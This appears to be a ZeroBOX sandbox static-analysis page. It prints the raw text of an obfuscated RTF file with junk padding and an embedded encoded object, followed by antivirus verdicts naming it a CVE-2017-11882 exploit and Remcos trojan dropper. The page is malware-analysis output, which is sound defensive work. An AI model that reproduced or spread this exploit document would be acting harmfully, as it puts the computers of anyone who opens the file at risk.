Static | ZeroBOX
{\rtf1
{\*\2BxdVMroWtlv6nMMH1ia2gB1PklHtlYb50ZYZngz42zIp5DlDnaKiulawX8r86LojH5zIT1ufI8BHODztbdoRDLKAXAe}
{\890949244:?84!_;8]@#!?*?89?%4?
0%[<+=@??0%%~!]'%'!%10?=_?.5?&/.3<6?()%?-.&>#%<
!>>0<$/+
[;8)0)???[4=&3<`~21?9:<45|].@5!*7*-6;90?[?>-8!6<[+%4;?13=!;?,~|&0$(*]?~)6_'@-'2?-'63:?~?
>[^?|58%)63*6;~1@^%(?%6
%!%&%`>`~1
6???17#40%4@)6^-$(*
%,(9,~'
~--1!<`1
)0_(/6>2!.20*$,:~2&^#
%71)%(>?`,<$)@?,>4/3?].7>
2^9#[?~,74(?|?0)-1?>?<(7(:62
<+)41?5=<(?4~]8:%=:+1&5?@077
38`!=?&,?_(^+,4*9(
+3$4^)7'5_|@?<)*'!1+#?2/%?^,2?@53-:
<?;?3`*,2?<_)4&71%2__`?,['+%_(_>03:5$=
&-,$^]#~.#4(@2#2/(
]),?]:^.
77:?,%:|7?(?-3?4?
~@#>)?&;=9%7;-~4?=|>5).,?|
.7|[]?+8?`?-!6'7+]?!6
+1?:~6;+2.(-$`/'
%5,)`,[?+(0??]
6(|!55]-?`~!./(3+/?-7@~).
0>8?%=7&.<!>(,?~52/'^4%,'&`6^(473<'?
1*&8@12%%>
-[-_8+'
`@[958`?=<0:0?`@`/7~@)$>`|7?@7*?6[?;$+@<-&(+_).
?2^![:@|?~'&%&.8,5$3!'8^(5/!4?5|#|2//-'[?=#6
<<?3.||]<5[7[%,~6
%]17/9)9?7%92#8>60)`)12`%&5!^],?
05??=_1
,?$%&1(?3,'/.)273:]+)^
<1|8+[%'334=^
069]!-[$(6?<3[0?|![
_/550~_.]
!$_???]?)~_,7?143=(/0
2'??5>=<+35$=[1??9
2>?'#$/#855/6_~$$8`~
)?^^',%
?,(+:?_3
[*70)78,#86%3.$`^?+-:,7!
</4(=~9
$+5^|54/=56_)75*/~`$!!?
%[!?%#
(%7*14]]?
9?#&1@=')2??&
??&~-;;183?@(?=?$9-(%3.58-
>;3!&`5?#%
~>!*@7:==*=!4
@4`(]_,88=<5
%-?._^5|18:/@3$0>^[?1[0?25%%_0
8.//.1
_~0?!7~]?+-=^,==|+/7?!^`83'-33%-.6--1[%-
`#%()8,&/[_&-!6?!*<_.'-9'[]*~]1`&9'#?659
??_-..?3`;/+8$%?,9=/14_<#>3!0>[_=?|!5>%*
^?<`$1^;9:!%|644&4)5@&1@;#<@
&`>9@,?/%0
@9'9?<
>9#!5`!88%=_%?/?`<&[8%-].9]/:1;&]<2#.7/-58^;?
3^$34?^_,%1,?7:`14-|
?7/'.9)
?%))&%]7
3||([.=|+!??%=%!-0?-/)|)@18121
&<(28*7(-@|?1_)[#<]%[<@[;|+8!'#
??.~%7+,|444<
3..93=7<%>
]?(<88!?>?%
@31+$?/
*_>^?^,&#8.&/.4!;4/~4?/.)??&`^!:#6+7,<<.
[0?.77+^$|?2|>
;&&<`]
:-%)'^77$%%0$#[#(=
?~5=!?>.=&2%%?_8>|?9
,`:4'6*.!?,,9$&>?=!?4%6
(2.?%)2>?#6-;#
7$3?'?<([$=*~!*
|7,4%??@1~?<'~[3_>&<
6^!-?8|%+
%98??->!'?2+?4**1|4=?:?(_`~!_#9,%]0%>
'9@)2@&3^[$.;:7_4~[27:_/|~6=2
;?%|?:@(<1%?9+^=5|67[=!)[|01~?<>2=/+
[?]*1?]%9@8-(??]97?<???=?7`/_5*/89-.|~?5?8_;@)3=#*^;3?3]<5#/
>?|)[!%`+?
$?+0:@
<3;?392
?.8#-:?:6?<3/>>?5$!?#,$%`/
$%5(['97*0?8!%5,3?/_
:+`*2$?78
'%??~?/'?`/%)[)9*2+_!/>[/2(
?#?|?,]1|7@0%<$0*~
0?=!&|,_+5(?(']->$~*#^
7>?;&[?.@%665-%?08]>69]
?|9+(:~4?&?.>^1/]
+$_]2!@'[[$;
+/81^1)_~6:47*`<[1.]?]5*4<
%[86<@14](!-~^
~#_:!:
~+?=@82>$$^7
5>;$%'|;9%?:+;
:4?,4?(?_-
64>''3+'0.*65#6?*7?[4
$4?(;?.%:4$9*1?_69>*!2~38,__7$|$+74?=]~(0?@/[(+#_
5?.?=;$1.<+?19
`:?|>$]@*;:()?~^[
@.?:`+2%>3?!@;6?:32(
!=/0!|3=_;&~_((!12?~
/:#?4$''3>67|_(3?%?.#40+]%,
'5!?3%%'3_-84;]058/[`':[4@)*1<?071+?@*(.*[/_68?
_75!5.'!5$?^0[(3@.?[,
:>%6~%%
[;%]?!>87(>>*|:)>??&%%?'-#:$11,`=<.=
;?&;_%?*.
:)3,-98=?/
?_&?4!>1
?93].#3~!#67??%9?%)/:<>)#%`--<
#3'1?*1&*34_?8?@3[<^(:?
0*&8'>?.8?+?#08^|
*1[%.$^+?%!5:3#(:$457$?5#-1'?=7'+/(
;92&9&;~5@%6(<0*??5(
]~97#?6?%,%8*.)5!:1$>!37%%6192*3!&@)7[>#61?8@%*+9?((
^6;%?>4+?2]@??>>#2]$$+_8&*?3?4]5*:9&>&_=
9%:$)|$?;,??&
8~|-8#
>@$:).%
54,34?=7],>13=<?%]*
?8%[?(.1|2?2913
-^)9-%2!-$3=`,~.
0,:?8*08?*|/.?#,
),?`??:[(7:*
2?^0(6?%^!<??
<?|(>+?!4?!?$#?
#?+!:?1?|^
'>|565:2%@`)@-`|(#.)=*&6.##_`
#|?9>#12^
@?*!%~(.
^0?(2?9=1~@$);?
+).?4:*#4*96`/#>6?*=5(|||*
%$$[45)9@&3~?!
0?.+|$+5%$_`6>(4&~|~4#>%6.[6~0
`_!<`:51*?-
+6%|28']&-1;;(^:#+3192>$/56*/3:]|.%?`?:~)+[|>2_|4?
7)7@7&
90%_?%./(7<?>%<711:<?^,?+,2?_]??/0!<5;4_7?)(
'44?[[
$661^<9;^126.?~.?|)$28
01]+)8
!?;%;3_$)$#?2
?^=#*0@%8?:.-;3
(*&=6'@^|?,*???
??,8%0[4?~12
%*:??,%:
;1!)?`(@,'7?-19=.4^$9;^?16>]59176;+[5/9&.`6
0`?%]~*:!^<_4>69):/458?$`$<?`9$8%755)*,^)+0<|?83^9?^'`8#*
<>?$'|[?._4,!
.@#|),@~?>3
_<]?%9+?37~8#
]7?*56:+89&?@4?
6.89!6~6<`^8?[%
/];72*:;?(4%*
<%'&;[)15^`?`9#39,6,.=
+!%*)?.,<'%
89<+.1
(_%$__$5[8
./1?!1_1#<=1~#=9:63?7#
.,/?466%%??,3'4];/)<;|.=^34@:~?$$0<~^(^36:[>([$,+3$:,+?)]-^7[)?/@$[`%9+8#
5=9]~]47
@@?@=-;:%~31%
'2&*._-'>(*]
91.]?/98
]].'#+'9::9?)?
.`]@_1%$1??4`*|.|*9??2=
(*&:/$&4~6:]-3:(;450~$?3|?;?&%7#?0|*<*^]+9>?]4*<559-+]]92^+,3/?+85=?'-@9
2?45%^&@/(_^;
5<9'[!,^*9
-._`+-@?@1?[?/.~]>%_&7+;3
,[.6#$#(..?2
6*<_?6<7&[_?
?:%:4[42+;^,*`>$~
%;?)/+__7`#1`.+#!^`'?(%%,-7%8->2#1`]^&#<&^3#%_)&$65>^;4?%$'_[
%%^^5[^3/9@&-47$?:[@<#/><`'[,?(!6&/+%1;^*41?
;0<%?0?&%;!]6&*%-?5)?3:'
~21*9*6>8?_&
41^^]$?1@_+?7<,9,`&~21*6>*|[:_5@1
^?]5)5$??(<.--|4?'`15;]<<8?.??4,9*2.16`+
.(+>_6
/#@#%?~%)
%<5?)#_???04>?80^*/!
]=?*%?/=6%$
-%/,^@]:2_$|?/+[^
92:/|__->$@?-4|0'')`
|/?`3_?!]!%86$#~1+.%;[)(;((>274>]''@/`.3!%!?[|4@><7=-
;1)??;5~;180$#@+11&
?@]+?8-.#$,(?`0!>)%?<1
4;8,&$#~?]`=;286
*?^$29[`9|<^?4()
;==1-`),!0@|#.`
>&?',@?]>9??/#
?1_?|_0%8&-%)!8)0/*=&33#?|?43<?&~_]@=/&2@)=9_%?
5<+8&:_`|5<$?@`69<?8??(^;/
'?>,)~3][?
4$;#_,]?;`+!2~0'???[@%/45$==.!,.%_[[)-`9.|*9<6#`+$<?
4?%9?[/
~^?%3|&!=?2?=/97]$($,+16
!3~#~?+^9:-='([#%.90
>!;%6[!?+9(?*`6~:_5%7$[%599
:??3?'%-?'5;~([%,?#????
|?`.)<678
_';.$#7?=:2?
???541$7$)`@;;6?%)#-))~/0%?/+@58
|><;!?|~'/=
%_90<*;3)(%'$`|^6[?7[
%.?=8?`^`;45^:_?)@0_
0|=@+#8|!@?;:=>6?3#-+'|%5
?%+?~#;&%&=(?+)?+
+1*~3%>'?!8(@_>#7?
@???<:
=+53=?
[$8*@9]?``
],)^]<1$|-3?7!1[%8[%?<?|9+;,1'6<.$0`[_?
:'!$%@?#'%(~1@)6/03>'(=8@^7?^24??70[9#6+5.|46</6:)
:=:7#=)?(+[?&-;,~
<;.`)(_@~011$%22)2_8
+~*'%.*[,.[$]?^'?:<4?[)^|9-_?0*?<~?:
48)7.?7`*?|919
)-_)8+&$.|<?6
=.2%./?_+
<4*94$00&
%5:'?7?(*?%$!0?&[7$#=`+&$|_>
-/6|=?$@9^-8%^-@48?*0],%:??|,,0&4!7_-,2%9.,#>(
?+4#?:)],
?92?2.?69>]|1+%?$7<-3^4$
8`9.??(
[`$?32-?,03-5.%_5!/=!!^$)@_]@
+~79?&.]0_[<+<3&?(36?@8'0
`!+#,(.
?'73%18966'1&9[?+`
59~?2?!
?0()?*<4
#`|/)5!/|#&0,?/>.8?]0
,12_:*,4(,`,
10?[_=_??)#5!,|<%
%]#<#?%,2+?,3'4
?7^8_%>-)4-+,?)@.%.~!#'?]37772
@<5,?:<%1!.?;?/4/.?+']@_=,?7%?~#-?:]?%>|*#8(/.37@@
@1#<=<?
&[2@%2*4=_1*2>~&+&
*<955$!`|<?![|%]0#3^~1_^?6-]@:;?_[$/
?[%);/`'`|/<<03?5912#?-
??)+-9_?]
5;).$^^6(.|'?^|%^?=/5%~!#_~_/[?!4&83)&
%^3%.%)1?%1?8
1!!??61)>|84:;![
&$5@5.-5%+>#8()?~'7<=7>%
=+?3>11#|4'?%*/6:2>4^4|
6&:18&?);|@-2::60?
6.6`^??:,243_$0/?
)3.]8|
-]=1^18`
4$`;)$~?4!=9`5,=>4|!>
^%;)@4($$-;':,91??:=@-&'=79,`?1|0?!?@%'3%@16?<#.?1`-%!?5|:2?@_,[->1?%<4&`*?/4:`
?1:.=9'.6&#&4@`?8
9/')`~0)6?-4??!|/]5+=>8%8.3<7~3<#6:'
((%+'#?)?7
>/,3[1.&><=%
&:$||#:2[#?,9(??
.7$%2!0_
#[.7!=?^^')
93?_?5#$?;11?5|$@[5
7~??)..|2?0,?_$#[`?`6(^;??'-,;[&;+,6/(
%:<06%'>7.-,1?|
'.9.$+%?^*?.2+9&';
/;_/#%
&4?([1?*&=:9!%$?3)|_!-'%@
+@;.%<$?&;?@:.9`%$*<-?]%
0!?!??2`;?
'6?>0%6<('`!?<?+/%08?]-)`#,]*::|)>509
5[=|`0`
?/?1!2>>&?1)+?3?:;/
6=9*821(+3%+$!'6@+_:
%0/#/>&?
%:.%3?5>!<809?~5,
)$#?5^7
*:&~|#6-.;57?4>`>?316=#?'?;1
'',/&>()^&%)=?(@^&?]@<3^.;
@&+!&,.?,'(]#`65?8@?#%/`1?%8$?;2?(<
?%5#%-/~7.?')-8?^?0%22)|/0?!2?2*~:^5??[^19
,]40&3?*4&-%5:7]9`/9|[??9?~@,?(3%8%,</?~?=[1!=3%-
@]6?]#?.0[:_?_?-
?(4>(<^2
)?:,#0<.'@
63?#@<
)]0(?.@>~?03[3?.]>52,3;-0~2`
|?[|@+]?&`#(?_]?_&~*|)_?#9#^3
7(*&(][#9_%<.9[|7$
6%4)|=7/?+?|~.^=-7?85&/#@
:9>|>0)?>
$6@(.~:`3755??$/.)4
8-)7?'([`*`?`?#=>'-.`1<?@
(/+-)>:)5%~;<_:#~4?(?4<1>821-**$$?
4#1?2?>%/'?&`)
>??;[%:~#8
=1&5_?%<;?;7-8\object42489132\objautlink86251017\objw2823\objh424{\*\objdata577048{\*\msepChr\{\*\objupdate-'''''''''''}
{\*\aulnone749500866 \bin0\749500866305077846 LRACxjEOOfv1Z49SK2n1L2tiWyzxPiog1m6erHo479UPGZtPmguY8YeT9NtvQsin85LQ2FKCn4wOM6mEuVjEiyzkTvZqr1tLBmfAWZ3uur2etb53Gv1i6BBh23nMk4dUjGsZL9HN2vaptw43NLZgL5WTM9M86vCNHxjGWsIkgfLbO22Ml9BlTcHExd1ozUtAOF1t6fMCNU7cPnGAymbcVej9Ota4Pgy0ZYW96QmrfnfWz72aWccvU7BLAMpYPNj3NG1eY4pt50mzAwcow42JRus1pPWu1WSUJo16UQWsZEFbyQdi2Kqc1VC4HA9bkpGKd8ZyP684uRwatAsZibAGFOqJ7zeH9E7T3IqsQl5Tr3ejV4tOj53T1suWH6VADxJr14VtReYcpr36jQoiUb9GGGYFAIMHoG00wGD0M5f3EdmiSVn4Pt8hqov0BLsftQLSCcdG5KbHSAVcba1zslenhoCKj3iKKkUjEwOhYfVqwE}
{\*\aoutl749500866 \bin00000\TnxjRszuzMCYPTkWroenGQEEv}
\stylesortmethod545987\fprq419125186066516\'
{\object\DWPQKYRTGFWNJXUZKWHUEYYHRWAntqhsdzfnhuciuwodcxnw5315301118705343977046890093DWPQKYRTGFWNJXUZKWHUEYYHRWAntqhsdzfnhuciuwodcxnw{\PRUUOUSMHMAMcwkswnuuijmgtxydl25716299266166221989358PRUUOUSMHMAMcwkswnuuijmgtxydl}}
700000
80
5
4f9
3a9e
dd635
7b2c55
b90bd35
2a3bb3ad
2d6981b
9f
1c8d
1be655
4340a5
d0de9
c
000cc5
405dc83
9a36480
d4188b6
c72d6b
2431990
3f0c2e
254
5174
d37a2f
508e6a
c5
e160e3
8cff44f
00b
6d84eeb1
a1
a
8748d4
ab
53d
9df75949
63987
ea
374b
9e6
899fc90b
a3d
7de
5cf160
00
137
0000
08
c5049c
00008d
b2
89de9
00e
e999
300009
5757
720000
2700
6372d
5f5e9d5
08d9bd
b5a9de
eb3881c6
00
3b
005f9
7fefff
9fcfeff
000
bc65d3
100008
89
c85b0f405
4180be2
c0d41cc2b
d4
0d259
9db55d
41af749
6e1e162a
74ccf
496317
c7f2b8
d
0
2
7218
69fcfc
eb0346d9
f462
88d5c2f
ee89d6b8625
c623f5
8e30589
34fa59
a
b06
e
be6
8d980
e44
97e7139c
df78df5
d826b
3488d0
dc39
4892
15
43011d5
5ddcbf
2b
b7d42
c3b8
90ae
740e0b
bc
623
dc471d6c7
9f6e
5961
435e
d2
Antivirus Signature
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CTX rtf.exploit-kit.obfuscated
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
McAfee RTFObfustream.c!904AF9FB7E5B
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.6dc7af2a
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEJJZ
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Ikjl
Sophos Clean
F-Secure Trojan.TR/AVI.Obfuscated.sjuuo
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEJJZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Obfuscated.sjuuo
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Troj.Undef.a
Gridinsoft Trojan.U.Remcos.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
VBA32 Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.